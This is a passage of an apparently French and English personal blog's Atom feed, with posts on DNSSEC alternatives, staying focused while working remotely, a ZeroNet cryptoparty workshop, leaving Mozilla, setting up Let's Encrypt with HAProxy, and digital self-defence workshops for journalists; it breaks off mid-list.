&lt;ul&gt;
&lt;li&gt;The need to design a backward-compatible standard that can scale to the
size of the Internet&lt;/li&gt;
&lt;li&gt;Prevention of "zone enumeration" (see below) where desired&lt;/li&gt;
&lt;li&gt;Deployment of DNSSEC implementations across a wide variety of DNS servers
and resolvers (clients)&lt;/li&gt;
&lt;li&gt;Disagreement among implementers over who should own the top-level domain
root keys Overcoming the perceived complexity of DNSSEC and DNSSEC
deployment&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Solutions basées sur la blockchain&lt;/h2&gt;
&lt;p&gt;Une dernière piste semble être l'utilisation de la &lt;em&gt;blockchain&lt;/em&gt; pour distribuer
des clés par site.&lt;/p&gt;
&lt;p&gt;La solution &lt;em&gt;DNSChain&lt;/em&gt; me paraissait tout d'abord un bon point de départ mais
la lecture de &lt;a href="https://www.indolering.com/okturtles-dnschain-unblock-us"&gt;quelques critiques&lt;/a&gt;
et interventions du développeur du projet m'ont fait changer d'avis.&lt;/p&gt;
&lt;p&gt;Reste encore la piste de &lt;em&gt;Namecoin Control&lt;/em&gt; que je n'ai pas encore creusée.
Peut-être pour un prochain billet. Toute piste de réflexion est bien sur la
bienvenue sur ces sujets!&lt;/p&gt;</content></entry><entry><title>Focusing on what matters</title><link href="https://blog.notmyidea.org/focusing-on-what-matters.html" rel="alternate"></link><published>2016-03-17T00:00:00+01:00</published><updated>2016-03-17T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2016-03-17:/focusing-on-what-matters.html</id><summary type="html">&lt;p&gt;I do have a problem with information.&lt;/p&gt;
&lt;p&gt;You know. I &lt;strong&gt;have&lt;/strong&gt; to check my emails, irc, twitter, my feed reader etc.
I need to.&lt;/p&gt;
&lt;p&gt;And this thing makes me feel uncomfortable at the end of the day, because I
feel that I missed something. That I missed some good time …&lt;/p&gt;</summary><content type="html">&lt;p&gt;I do have a problem with information.&lt;/p&gt;
&lt;p&gt;You know. I &lt;strong&gt;have&lt;/strong&gt; to check my emails, irc, twitter, my feed reader etc.
I need to.&lt;/p&gt;
&lt;p&gt;And this thing makes me feel uncomfortable at the end of the day, because I
feel that I missed something. That I missed some good time, away from news and
agitation.&lt;/p&gt;
&lt;p&gt;Working remotely is sometimes hard. Hard because you need to at the same time
be in the discussions channels and work on the interesting projects. A real
myth.&lt;/p&gt;
&lt;p&gt;In practice, I'm really bad at multi-tasking. I tried a few times the &lt;em&gt;Pomodoro&lt;/em&gt;
technique, which forces me to focus on a task for 25mn, but this split of my day
into slices of 25mn breaks my natural flow.&lt;/p&gt;
&lt;p&gt;So, what do I need? I tried to change my tools, it helped a bit. Still, I'm not
focused like I would like to be.&lt;/p&gt;
&lt;p&gt;Maybe that's just me who needs some more persuasion over myself, but the best
way I found to work is to unplug the cable. Literally. At work, at some point I
was using a RJ45 cable to connect to the Internet. When I wanted to work on
something, I could just unplug this cable.&lt;/p&gt;
&lt;p&gt;And that's amazing how you find yourself in the process to &amp;quot;check&amp;quot;
something on the web. Mails, irc… well, you got the idea. You're litterally,
without even noticing, switching to your browser an opening a new tab…&lt;/p&gt;
&lt;p&gt;Of course, that Web isn't filled only with lolcats and twitter messages
(even if I would &lt;strong&gt;love&lt;/strong&gt; to see a pie chart with the repartition of lolcats
VS the rest of the web's content), so sometimes you need some precious bit of
information that's there. Fair enough. plug the cable, do what you &lt;strong&gt;need&lt;/strong&gt; to
do, and unplug. Alexis, unplug!&lt;/p&gt;
&lt;p&gt;It also helps to have some fair bit of documentation available directly on my
machine (I used to have the python docs, I should get it back!)&lt;/p&gt;
&lt;p&gt;I'm feeling adventurous, so I'll try something new starting tomorrow, and I'll
report back in here my findings. Here's the challenge:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;Check emails only once a day&lt;/strong&gt;. Do &lt;strong&gt;not&lt;/strong&gt; do it in the morning, before
working, to keep my mind clear. I would say at 2pm (after lunch).
(This doesn't mean I will not send mails tho)&lt;/li&gt;
&lt;li&gt;Stay away from the Internet during the morning. I'll not connect if I don't
need to.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let's see how it goes :)&lt;/p&gt;
</content><category term="focus"></category><category term="time-management"></category></entry><entry><title>Retours sur un atelier ZeroNet</title><link href="https://blog.notmyidea.org/retours-sur-un-atelier-zeronet.html" rel="alternate"></link><published>2016-03-17T00:00:00+01:00</published><updated>2016-03-17T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2016-03-17:/retours-sur-un-atelier-zeronet.html</id><summary type="html">&lt;p&gt;Mardi dernier se tenait &lt;a href="http://biblio.insa-rennes.fr/crypto"&gt;une &lt;em&gt;cryptoparty&lt;/em&gt;&lt;/a&gt;
dans les locaux de l'INSA de Rennes.&lt;/p&gt;
&lt;p&gt;L'évènement s'étant rempli au delà de toutes les espérances, on m'a proposé de
venir y tenir un atelier, que j'ai proposé sur &lt;a href="https://zeronet.io"&gt;ZeroNet&lt;/a&gt;, un
petit projet fort sympathique qui pourrait devenir une nouvelle manière de
distribuer le …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Mardi dernier se tenait &lt;a href="http://biblio.insa-rennes.fr/crypto"&gt;une &lt;em&gt;cryptoparty&lt;/em&gt;&lt;/a&gt;
dans les locaux de l'INSA de Rennes.&lt;/p&gt;
&lt;p&gt;L'évènement s'étant rempli au delà de toutes les espérances, on m'a proposé de
venir y tenir un atelier, que j'ai proposé sur &lt;a href="https://zeronet.io"&gt;ZeroNet&lt;/a&gt;, un
petit projet fort sympathique qui pourrait devenir une nouvelle manière de
distribuer le Web, permettant notamment d'éviter la censure.&lt;/p&gt;
&lt;p&gt;Avant toute autre chose, merci énormément à l'équipe de la bibliothèque de
l'INSA pour l'organisation de cet évènement qui à une réelle portée politique.&lt;/p&gt;
&lt;h2&gt;Un peu d'histoire&lt;/h2&gt;
&lt;p&gt;Il me semble que Tim Bernes Lee (l'inventeur du Web) avait prévu le Web comme un
protocole décentralisé. Chacun hébergerait ses données et les servirait aux
autres, qui pourraient alors y accéder.&lt;/p&gt;
&lt;p&gt;Avec ce fonctionnement, impossible alors d'accéder à des sites si leur auteur
n'est pas en ligne. Qu'à cela ne tienne, on s'est mis à avoir des machines qui
restent connectées au réseau 24 heures par jour. Et puis une machine ne
suffisant plus, on a eu des fermes de machines dans des &lt;em&gt;data centers&lt;/em&gt; etc afin
de supporter les milliers d'utilisateurs des sites.&lt;/p&gt;
&lt;h2&gt;Un Web décentralisé&lt;/h2&gt;
&lt;p&gt;ZeroNet permet (entre autres) de répondre à ce problème en proposant une manière
alternative de &lt;strong&gt;distribuer le Web&lt;/strong&gt;, en pair à pair. Lors d'une visite d'un
site:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Vous contactez un &lt;em&gt;tracker&lt;/em&gt; BitTorrent pour connaitre la liste des autres
visiteurs du site (les &lt;em&gt;pairs&lt;/em&gt;).&lt;/li&gt;
&lt;li&gt;Vous demandez aux &lt;em&gt;pairs&lt;/em&gt; de vous donner les fichiers du site.&lt;/li&gt;
&lt;li&gt;Vous validez que les fichiers servis sont bien les bons (en vérifiant la
signature attachée).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;N'importe quel visiteur devient alors un &lt;em&gt;pair&lt;/em&gt;, qui sert le site aux autres
visiteurs.&lt;/p&gt;
&lt;p&gt;Parmi les nombreux avantages de cette approche, je note particulièrement que:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Il est très difficile de censurer un site — Il est sur l'ensemble des machines
des visiteurs.&lt;/li&gt;
&lt;li&gt;Les attaques par &lt;em&gt;fingerprinting&lt;/em&gt; sont impossibles: le navigateur Web se
connecte à un serveur &lt;em&gt;proxy&lt;/em&gt; local.&lt;/li&gt;
&lt;li&gt;Vous détenez directement vos données et (par design) ne les donnez pas à des
silos (Facebook, Google, etc.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Si vous êtes interessés par une démonstration rapide, j'ai enregistré une vidéo
de 10 minutes où je parle en anglais avec une voix très grave.&lt;/p&gt;
&lt;video controls="" src="http://alexis.notmyidea.org/zeronet.webm" width=800&gt;&lt;/video&gt;
&lt;h2&gt;Atelier&lt;/h2&gt;
&lt;p&gt;Pour l'atelier, j'ai choisi de faire une présentation rapide du projet (&lt;a href="{filename}/static/zeronet-presentation-fr.pdf"&gt;j'ai
traduit les slides&lt;/a&gt; anglais
pour l'occasion — &lt;a href="https://docs.google.com/presentation/d/158C_-V1ueNaaKHMBMBgGOVhunb9xrXzB3hC_g1N53c0/edit?usp=sharing"&gt;accès aux sources&lt;/a&gt;)
avant d'installer ZeroNet sur les machines et de l'utiliser pour publier un
site.&lt;/p&gt;
&lt;h3&gt;Partager sur le réseau local&lt;/h3&gt;
&lt;p&gt;Nous avons eu des soucis à cause du réseau (un peu congestionné) sur lequel
les ports utilisés pour la discussion entre &lt;em&gt;pairs&lt;/em&gt; étaient fermés. Il est bien
sur possible de faire tourner le tout de manière indépendante du reste du réseau,
mais je n'avais pas prévu le coup.&lt;/p&gt;
&lt;p&gt;Voici donc comment faire pour contourner le souci:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Installer et lancer un &lt;em&gt;tracker&lt;/em&gt; BitTorrent (De manière surprenante,
&lt;a href="https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=685575"&gt;rien n'est packagé pour debian pour l'instant&lt;/a&gt;)
J'ai choisi d'installer &lt;a href="http://erdgeist.org/arts/software/opentracker/#build-instructions"&gt;OpenTracker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ensuite lancer ZeroNet avec des options spécifiques.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ python zeronet.py --trackers udp://localhost:6969 --ip_external &lt;span class="m"&gt;192&lt;/span&gt;.168.43.207
$ python zeronet.py --trackers udp://192.168.43.207:6969 --ip_external &lt;span class="m"&gt;192&lt;/span&gt;.168.43.172
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Il est nécessaire de spécifier l'adresse IP externe que chaque nœud expose pour
éviter qu'elle n'essaye d'aller la trouver par elle même: nous voulons l'adresse
du réseau local, et non pas l'adresse internet.&lt;/p&gt;
&lt;p&gt;La prochaine fois je tenterais de venir avec un HotSpot Wifi et un tracker
BitTorrent dans la poche!&lt;/p&gt;
&lt;h2&gt;Questions / Réponses&lt;/h2&gt;
&lt;p&gt;Il y avait quelques questions intéressantes auxquelles je n'ai pas toujours su
répondre sur le moment. Après quelques recherches, je rajoute des détails ici.&lt;/p&gt;
&lt;h3&gt;Torrent + Tor = brèche de sécu ?&lt;/h3&gt;
&lt;p&gt;Il me semblait avoir entendu parler de problèmes de &lt;em&gt;dé-anonymisation&lt;/em&gt;
&lt;a href="https://hal.inria.fr/file/index/docid/471556/filename/TorBT.pdf"&gt;lors de l'utilisation de BitTorrent par dessus Tor&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Dans certains cas, certains clients torrents (uTorrent, BitSpirit, etc)
écrivent directement votre adresse IP dans l'information qui est envoyée
au tracker et/ou aux autres pairs.
— https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://github.com/HelloZeroNet/ZeroNet/issues/274"&gt;Ce n'est pas le cas de ZeroNet&lt;/a&gt;, ce qui évacue le souci.&lt;/p&gt;
&lt;h3&gt;ZeroMail, c'est lent non ?&lt;/h3&gt;
&lt;p&gt;Une des applications de démo, &lt;em&gt;ZeroMail&lt;/em&gt;, propose un mécanisme qui permet de
s'envoyer des messages chiffrés sur un réseau pair à pair. L'approche choisie
est de chiffrer les messages avec la clé du destinataire et de le mettre dans
un &lt;em&gt;pot commun&lt;/em&gt;. Tout le monde essaye de déchiffrer tous les messages, mais ne
peut déchiffrer que les siens.&lt;/p&gt;
&lt;p&gt;Cela permet de ne &lt;strong&gt;pas&lt;/strong&gt; fuiter de méta-données, &lt;a href="{filename}../crypto/2015.05.pgp-problemes.rst"&gt;à l'inverse de PGP&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Je n'ai en fait pas de réponse claire à donner à cette question: l'auteur de
ZeroNet me disait que 10MB (la limite de taille d'un site, par défaut)
correspondait à beaucoup de place pour stocker des messages, et qu'il était
possible de supprimer les anciens messages une fois qu'ils sont lus par exemple.&lt;/p&gt;
&lt;p&gt;Une autre solution à laquelle je pensait était de créer un &lt;em&gt;ZeroSite&lt;/em&gt; pour
chaque récipient, mais on connait à ce moment là le nombre de messages qu'un
utilisateur peut recevoir.&lt;/p&gt;
&lt;p&gt;Je vois plusieurs problèmes avec le design actuel de ZeroMail (il me semble
assez facile d'y faire un déni de service par exemple). A creuser.&lt;/p&gt;
&lt;h3&gt;Comment héberger des très gros sites ?&lt;/h3&gt;
&lt;p&gt;Par exemple, comment faire pour héberger Wikipedia ?&lt;/p&gt;
&lt;p&gt;Il semble que la meilleure manière de faire serait de séparer Wikipedia en
un tas de petites ressources (par catégorie par ex.). Les gros médias pourraient
être considérés optionnels (et donc téléchargés uniquement à la demande)&lt;/p&gt;
&lt;h3&gt;Est-ce qu'on à vraiment besoin d'un tracker ?&lt;/h3&gt;
&lt;p&gt;Le support d'une DHT &lt;a href="https://github.com/HelloZeroNet/ZeroNet/issues/57"&gt;est souhaité&lt;/a&gt;,
mais pour l'instant pas encore implémenté. L'utilisation de la DHT BitTorrent
n'est pas une option puisque &lt;a href="https://github.com/HelloZeroNet/ZeroNet/issues/57"&gt;Tor ne supporte pas UDP&lt;/a&gt;.&lt;/p&gt;</content></entry><entry><title>L'horizon</title><link href="https://blog.notmyidea.org/lhorizon.html" rel="alternate"></link><published>2016-03-02T00:00:00+01:00</published><updated>2016-03-02T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2016-03-02:/lhorizon.html</id><summary type="html">&lt;blockquote class="epigraph"&gt;
L'Utopie, c'est l'horizon. C'est ce qui permet d'avoir une direction, de
mettre un pied devant l'autre, de savoir vers où marcher.&lt;/blockquote&gt;
&lt;p&gt;Il y a presque 4 ans et demi, je commençais à travailler, en décembre, pour
Mozilla. Je me rappelle bien de ces premiers instants un peu magiques, qui ont …&lt;/p&gt;</summary><content type="html">&lt;blockquote class="epigraph"&gt;
L'Utopie, c'est l'horizon. C'est ce qui permet d'avoir une direction, de
mettre un pied devant l'autre, de savoir vers où marcher.&lt;/blockquote&gt;
&lt;p&gt;Il y a presque 4 ans et demi, je commençais à travailler, en décembre, pour
Mozilla. Je me rappelle bien de ces premiers instants un peu magiques, qui ont
eu lieu juste avant une descente de cave en Bourgogne avec Tarek pour
y déguster quelques saveurs de vins différentes.&lt;/p&gt;
&lt;p&gt;Quatre ans plus tard, je me retrouve à coder sur Daybed, mon petit projet
perso, devenu &lt;a class="reference external" href="http://kinto.readthedocs.org/"&gt;Kinto&lt;/a&gt; avec une équipe de
personnes plus talentueuses et sympathiques les unes que les autres (Niko,
Rémy, Mat, si vous me lisez…).&lt;/p&gt;
&lt;p&gt;Mozilla a bien évolué en quelques années: les petits bureaux ou j'avais atterri
se sont transformés en palace où il est possible d'accueillir des membres de la
communauté du logiciel libre de manière quotidienne.&lt;/p&gt;
&lt;p&gt;De 14 personnes dans les bureaux Parisiens, nous sommes passés à une 40aine (et
de ~500 salariés à 1100 dans le monde).&lt;/p&gt;
&lt;p&gt;Grandir autant en si peu de temps est un challenge difficile à tenir, qui
nécessite des réorganisations et bien souvent dans une structure de cette
taille, de la hiérarchisation. En 4 ans j'ai eu au moins 5 changements de
supérieurs, pour finalement arriver à une situation plutôt convenable (mais
quand même !)&lt;/p&gt;
&lt;p&gt;J'ai choisi de rejoindre Mozilla parce que j'ai besoin de causes à défendre,
qui me saisissent et qui me guident. Aujourd'hui, une des visions qui m'anime,
c'est celle que d'autres ont déjà ouverte: celle de données et de vie privée
qui sont rendues à leurs utilisateurs.&lt;/p&gt;
&lt;p&gt;Et je veux faire en sorte de réaliser ces «rêves d'un monde meilleur», ce qui
veut dire pour moi qu'il est temps de partir vers des horizons plus propices
à cette vision.&lt;/p&gt;
&lt;p&gt;Lesquels ? Cela reste à construire (mais je vous le dis, y'a du Kinto dedans !)&lt;/p&gt;
&lt;div class="section" id="la-suite"&gt;
&lt;h2&gt;La suite ?&lt;/h2&gt;
&lt;p&gt;Sans m'étaler, je veux prendre du temps pour quelques projets autour du
stockage de données (via Kinto), de l'auto défense numérique (via des
formations) et de la fabrication de bière artisanale (parce que bon, on se
refait pas !)&lt;/p&gt;
&lt;p&gt;Évidemment, plein d'envies diverses et variées, envie de me balader un peu et
d'expérimenter des choses collectivement...&lt;/p&gt;
&lt;p&gt;On se recroisera surement :)&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Let's Encrypt + HAProxy</title><link href="https://blog.notmyidea.org/lets-encrypt-haproxy.html" rel="alternate"></link><published>2016-02-11T00:00:00+01:00</published><updated>2016-02-11T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2016-02-11:/lets-encrypt-haproxy.html</id><summary type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Its time for the Web to take a big step forward in terms of security and
privacy. We want to see HTTPS become the default. Lets Encrypt was built
to enable that by making it as easy as possible to get and manage
certificates.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;&lt;a class="reference external" href="https://letsencrypt.org/"&gt;Let's Encrypt&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Depuis début …&lt;/p&gt;</summary><content type="html">&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Its time for the Web to take a big step forward in terms of security and
privacy. We want to see HTTPS become the default. Lets Encrypt was built
to enable that by making it as easy as possible to get and manage
certificates.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;&lt;a class="reference external" href="https://letsencrypt.org/"&gt;Let's Encrypt&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Depuis début Décembre, la nouvelle &lt;em&gt;autorité de certification&lt;/em&gt; Let's Encrypt
est passée en version &lt;em&gt;Beta&lt;/em&gt;. Les certificats SSL sont un moyen de 1. chiffrer la
communication entre votre navigateur et le serveur et 2. un moyen d'être sur
que le site Web auquel vous accédez est celui auquel vous pensez vous connecter
(pour éviter des &lt;a class="reference external" href="https://fr.wikipedia.org/wiki/Attaque_de_l'homme_du_milieu"&gt;attaques de l'homme du milieu&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Jusqu'à maintenant, il était nécessaire de payer une entreprise pour faire en
sorte d'avoir des certificats qui évitent d'avoir ce genre d'erreurs dans vos
navigateurs:&lt;/p&gt;
&lt;img alt="Message de firefox lorsque une connexion n'est pas sécurisée." src="{filename}/static/unsecure-connection.png" /&gt;
&lt;p&gt;Maintenant, grâce à Let's Encrypt il est possible d'avoir des certificats SSL
&lt;strong&gt;gratuits&lt;/strong&gt;, ce qui représente un grand pas en avant pour la sécurité de nos
communications.&lt;/p&gt;
&lt;p&gt;Je viens de mettre en place un procédé (assez simple) qui permet de configurer
votre serveur pour générer des certificats SSL valides avec Let's Encrypt et
le répartiteur de charge &lt;a class="reference external" href="http://www.haproxy.org/"&gt;HAProxy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Je me suis basé pour cet article sur d'&lt;a class="reference external" href="https://blog.infomee.fr/p/letsencrypt-haproxy"&gt;autres&lt;/a&gt; &lt;a class="reference external" href="http://blog.victor-hery.com/article22/utiliser-let-s-encrypt-avec-haproxy"&gt;articles&lt;/a&gt;, dont je
vous recommande la lecture pour un complément d'information.&lt;/p&gt;
&lt;div class="section" id="validation-des-domaines-par-let-s-encrypt"&gt;
&lt;h2&gt;Validation des domaines par Let's Encrypt&lt;/h2&gt;
&lt;p&gt;Je vous passe les détails d'installation du client de Let's Encrypt, qui sont
&lt;a class="reference external" href="https://github.com/letsencrypt/letsencrypt#installation"&gt;très bien expliqués sur leur documentation&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Une fois installé, vous allez taper une commande qui va ressembler à:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
letsencrypt-auto certonly --renew-by-default
--webroot -w /home/www/letsencrypt-requests/ \
-d hurl.kinto-storage.org \
-d forums.kinto-storage.org
&lt;/pre&gt;
&lt;p&gt;Le &lt;em&gt;webroot&lt;/em&gt; est l'endroit ou les preuves de détention du domaine vont être
déposées.&lt;/p&gt;
&lt;p&gt;Lorsque les serveurs de Let's Encrypt vont vouloir vérifier que vous êtes bien
à l'origine des demandes de certificats, ils vont envoyer une requête HTTP sur
&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;http://domaine.org/.well-known/acme-challenge&lt;/span&gt;&lt;/tt&gt;, ou il voudra trouver des
informations qu'il aura généré via la commande &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;letsencrypt-auto&lt;/span&gt;&lt;/tt&gt;.&lt;/p&gt;
&lt;p&gt;J'ai choisi de faire une règle dans haproxy pour diriger toutes les requêtes
avec le chemin &lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;.well-known/acme-challenge&lt;/span&gt;&lt;/tt&gt; vers un &lt;em&gt;backend&lt;/em&gt; nginx qui sert
des fichiers statiques (ceux contenus dans
&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;/home/www/letsencrypt-requests/&lt;/span&gt;&lt;/tt&gt;).&lt;/p&gt;
&lt;p&gt;Voici la section de la configuration de HAProxy (et &lt;a class="reference external" href="https://github.com/almet/infra/blob/master/haproxy/haproxy.cfg#L63-L72"&gt;la configuration
complete&lt;/a&gt;
si ça peut être utile):&lt;/p&gt;
&lt;pre class="literal-block"&gt;
frontend http
bind 0.0.0.0:80
mode http
default_backend nginx_server
acl letsencrypt_check path_beg /.well-known/acme-challenge
use_backend letsencrypt_backend if letsencrypt_check
redirect scheme https code 301 if !{ ssl_fc } !letsencrypt_check
backend letsencrypt_backend
http-request set-header Host letsencrypt.requests
dispatch 127.0.0.1:8000
&lt;/pre&gt;
&lt;p&gt;Et celle de NGINX:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
server {
listen 8000;
server_name letsencrypt.requests;
root /home/www/letsencrypt-requests;
}
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class="section" id="installation-des-certificats-dans-haproxy"&gt;
&lt;h2&gt;Installation des certificats dans HAProxy&lt;/h2&gt;
&lt;p&gt;Vos certificats SSL devraient être générés dans &lt;tt class="docutils literal"&gt;/etc/letsencrypt/live&lt;/tt&gt;, mais
ils ne sont pas au format attendu par haproxy. Rien de grave, la commande
suivant convertit l'ensemble des certificats en une version compatible avec
HAProxy:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
cat /etc/letsencrypt/live/domaine.org/privkey.pem /etc/letsencrypt/live/domaine.org/fullchain.pem &amp;gt; /etc/ssl/letsencrypt/domaine.org.pem
&lt;/pre&gt;
&lt;p&gt;Et ensuite dans la configuration de haproxy, pour le (nouveau) &lt;em&gt;frontend&lt;/em&gt; https:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
bind 0.0.0.0:443 ssl no-sslv3 crt /etc/ssl/letsencrypt
&lt;/pre&gt;
&lt;p&gt;Faites bien attention à avoir un &lt;em&gt;frontend&lt;/em&gt; &lt;cite&gt;https&lt;/cite&gt; pour tous vos sites en HTTPS.
&lt;a class="reference external" href="https://github.com/almet/infra/blob/master/haproxy/haproxy.cfg#L38-L60"&gt;Pour moi cela ressemble à ça&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Une fois tout ceci fait, redémarrez votre service haproxy et zou !&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="automatisation"&gt;
&lt;h2&gt;Automatisation&lt;/h2&gt;
&lt;p&gt;Pour automatiser un peu tout ça, j'ai choisi de faire ça comme suit:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Un fichier domaine dans &lt;tt class="docutils literal"&gt;letsencrypt/domains/domain.org&lt;/tt&gt; qui contient le script &lt;tt class="docutils literal"&gt;letsencrypt&lt;/tt&gt;.&lt;/li&gt;
&lt;li&gt;Un fichier d'installation de certificats dans
&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;letsencrypt/install-certs.sh&lt;/span&gt;&lt;/tt&gt; qui s'occupe d'installer les certificats
déjà générés.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et voila ! &lt;a class="reference external" href="https://github.com/almet/infra/"&gt;Le tout est dans un dépot github&lt;/a&gt;, si jamais ça peut vous servir, tant mieux !&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Ateliers d'autodéfense numérique</title><link href="https://blog.notmyidea.org/ateliers-dautodefense-numerique.html" rel="alternate"></link><published>2016-01-14T00:00:00+01:00</published><updated>2016-01-14T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2016-01-14:/ateliers-dautodefense-numerique.html</id><summary type="html">&lt;p&gt;Il y a huit mois, je me rendais compte de l'importance du choix des outils pour
faire face à la surveillance généralisée, et notamment en rapport au
chiffrement des données. Une de mes envies de l'époque était l'animation
d'ateliers.&lt;/p&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Je compte donc:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Organiser des ateliers de sensibilisation aux outils de …&lt;/li&gt;&lt;/ul&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;p&gt;Il y a huit mois, je me rendais compte de l'importance du choix des outils pour
faire face à la surveillance généralisée, et notamment en rapport au
chiffrement des données. Une de mes envies de l'époque était l'animation
d'ateliers.&lt;/p&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;Je compte donc:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Organiser des ateliers de sensibilisation aux outils de communication,
envers mes proches;&lt;/li&gt;
&lt;li&gt;Utiliser la communication chiffrée le plus souvent possible, au moins
pour rendre le déchiffrement des messages plus longue, &amp;quot;noyer le
poisson&amp;quot;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p class="attribution"&gt;&amp;mdash;&lt;a class="reference external" href="http://blog.notmyidea.org/chiffrement.html"&gt;Chiffrement&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;J'ai mis un peu de temps à mettre le pied à l'étrier, mais je ressors
finalement du premier atelier que j'ai co-animé avec geb, auprès d'un public de
journalistes.&lt;/p&gt;
&lt;p&gt;Pour cette première édition l'idée était à la fois d'aller à la rencontre d'un
public que je connais mal, de leur donner des outils pour solutionner les
problèmes auxquels ils font parfois face, et de me faire une idée de ce que
pouvait être un atelier sur l'autodéfense numérique.&lt;/p&gt;
&lt;p&gt;L'objectif pour ce premier atelier était de:&lt;/p&gt;
&lt;ol class="arabic simple"&gt;
&lt;li&gt;Échanger autour des besoins et &lt;strong&gt;faire ressortir des histoires&lt;/strong&gt; ou le manque
d'outillage / connaissances à posé problème, dans des situations concrètes;&lt;/li&gt;
&lt;li&gt;Se rendre compte des &amp;quot;conduites à risque&amp;quot;, &lt;strong&gt;faire peur&lt;/strong&gt; aux personnes formées
pour qu'elles se rendent compte de l'état actuel des choses;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Proposer des solutions concrètes&lt;/strong&gt; aux problèmes soulevés, ainsi que le
minimum de connaissance théorique pour les appréhender.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="section" id="faire-ressortir-les-problemes"&gt;
&lt;h2&gt;1. Faire ressortir les problèmes&lt;/h2&gt;
&lt;p&gt;Afin de faire ressortir les problèmes, nous avons choisi de constituer des
petits groupes de discussion, afin de faire des &amp;quot;Groupes d'Interview Mutuels&amp;quot;,
ou &amp;quot;GIM&amp;quot;:&lt;/p&gt;
&lt;blockquote class="epigraph"&gt;
&lt;p&gt;lanimateur invite les participants à se regrouper par trois, avec des
personnes quon connaît moins puis invite chacun à livrer une expérience vécue
en lien avec le thème de la réunion et les deux autres à poser des questions
leur permettant de bien saisir ce qui a été vécu.&lt;/p&gt;
&lt;p class="attribution"&gt;&amp;mdash;«&lt;a class="reference external" href="http://www.scoplepave.org/pour-s-ecouter"&gt;Pour s'écouter&lt;/a&gt;», SCOP Le Pavé.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;De ces &lt;em&gt;GIMs&lt;/em&gt; nous avons pu ressortir quelques histoires, gravitant autour de:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;strong&gt;La protection des sources (d'information)&lt;/strong&gt;: Comment faire pour aider
quelqu'un à faire &amp;quot;fuiter&amp;quot; des données depuis l'intérieur d'une entreprise ?&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Le chiffrement de ses données&lt;/strong&gt;: Comment éviter de faire &amp;quot;fuiter&amp;quot; des données
importantes lors d'une perquisition de matériel ?&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class="section" id="faire-peur"&gt;
&lt;h2&gt;2. Faire peur&lt;/h2&gt;
&lt;p&gt;Un des premiers objectifs est de faire peur, afin que tout le monde se rende
compte à quel point il est facile d'accéder à certaines données. &lt;a class="reference external" href="http://blog.barbayellow.com/"&gt;Grégoire&lt;/a&gt; m'avait conseillé quelques petites accroches
qui ont ma foi bien marché:&lt;/p&gt;
&lt;p&gt;J'ai demandé aux présent.e.s de:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;donner leur mot de passe à voix haute devant les autres: a priori personne ne
le fera;&lt;/li&gt;
